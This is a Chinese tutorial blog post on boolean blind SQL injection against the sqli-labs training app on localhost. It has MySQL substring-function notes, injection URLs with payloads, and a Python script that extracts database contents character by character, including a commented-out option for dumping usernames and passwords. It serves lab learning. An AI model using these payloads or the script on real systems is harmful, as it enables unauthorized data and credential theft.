美文网首页
Sqli:Bool盲注脚本-GET

Sqli:Bool盲注脚本-GET

作者: Hyafinthus | 来源:发表于2018-07-27 19:21 被阅读0次

    0x01. Mysql语法

    mid()函数、substr()函数、left()函数

    这三个函数为Sql注入截取字符串常用函数

    mid()
    返回字符串指定截取的字符:

    select mid(column_name,start[,length]) from table_name

    参数 描述
    column_name 必需,要提取字符的字段
    start 必需,规定开始位置(起始值是 1)
    length 可选,要返回的字符数。如果省略,则返回剩余文本

    substr() / substring()
    用法同mid()

    left() / right()
    返回字符串左(右)部指定个数的字符:

    left(string,n)

    参数 描述
    string 要截取的字符串
    n 长度

    0x02. ASCII码表

    十进制 十六进制 可显示字符
    32 20 空格
    48-57 30-39 0-9
    65-90 41-5A A-Z
    95 5F _
    97-122 61-7A a-z
    126 7E ~

    0x03. 单次查询

    例如Less5的payload之一如下:

    http://localhost:8088/sqlilabs/Less-5/?id=1' and ((ascii(mid((select database()),1,1)))>65)--+

    若数据库名的第一个字符的ASCII值大于65,正常回显。
    依次增加判断条件中的ASCII值,直到回显异常(如不显示),便可得出数据库名的第一个字符。
    可以用这种方式依次得出现有数据库的所有字符,连接可得数据库的完整名称。

    经实践,依次判断速度较慢,应用二分法减少判断次数。

    若考虑可重复代码,可以用information_schema数据库中schematatablescolumns表及其中的字段来注入,如:

    http://localhost:8088/sqlilabs/Less-5/?id=1' and ((ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1)))>65)--+

    查询表名和字段名原理相同,选择恰当的查询语句即可。

    0x04. Python脚本

    import sys
    import requests
    
    def getPayload(result_index, char_index, ascii):
        # 系统表中数据
        info_database_name = "information_schema"
        info_table_name = "schemata" # schemata / tables / columns
        info_column_name = "schema_name" # schema_name / table_name / column_name
        
        # 注入表中数据
        database_name = "security"
        table_name = "users"
        column_name = ["id","username","password"]
        
        # 附加url
        start_str = "1' and "
        end_str = "--+"
        
        # 连接select
        where_str = ""
        #where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
        select_str = "select "+info_column_name+" from "+info_database_name+"."+info_table_name+where_str+" limit "+str(result_index)+",1"
        #select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
        
        # 连接payload
        sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
        payload = start_str + sqli_str + end_str
        return payload
    
    def execute(result_index, char_index, ascii):
        # 连接url
        url = "http://localhost:8088/sqlilabs/Less-8/?id="
        exec_url = url + getPayload(result_index, char_index, ascii)
        #print(exec_url)
        # 检查回显
        echo = "You are in"
        content = requests.get(exec_url).text
        if echo in content:
            return True
        else:
            return False
    
    def dichotomy(result_index, char_index, left, right):
        while left < right:
            # 二分法
            ascii = int((left+right)/2)
            if execute(str(result_index), str(char_index+1), str(ascii)):
                left = ascii
            else:
                right = ascii
            # 结束二分
            if left == right-1:
                if execute(str(result_index), str(char_index+1), str(ascii)):
                    ascii += 1
                    break
                else:
                    break
        return chr(ascii)
    
    if __name__ == "__main__":
        for num in range(32): # 查询结果的数量
            count = 0
            for len in range(32): # 单条查询结果的长度
                count += 1
                char = dichotomy(num, len, 30, 126) 
                if ord(char) == 31: # 单条查询结果已被遍历
                    break
                sys.stdout.write(char)
                sys.stdout.flush()
            if count == 1: # 查询结果已被遍历
                break
            sys.stdout.write("\r\n")
            sys.stdout.flush()
    

    0x05. 吐槽

    他娘的遍历也太慢了点吧orz
    他娘的python里字符串连接sqli也太麻烦了

    相关文章

      网友评论

          本文标题:Sqli:Bool盲注脚本-GET

          本文链接:https://www.haomeiwen.com/subject/qegwmftx.html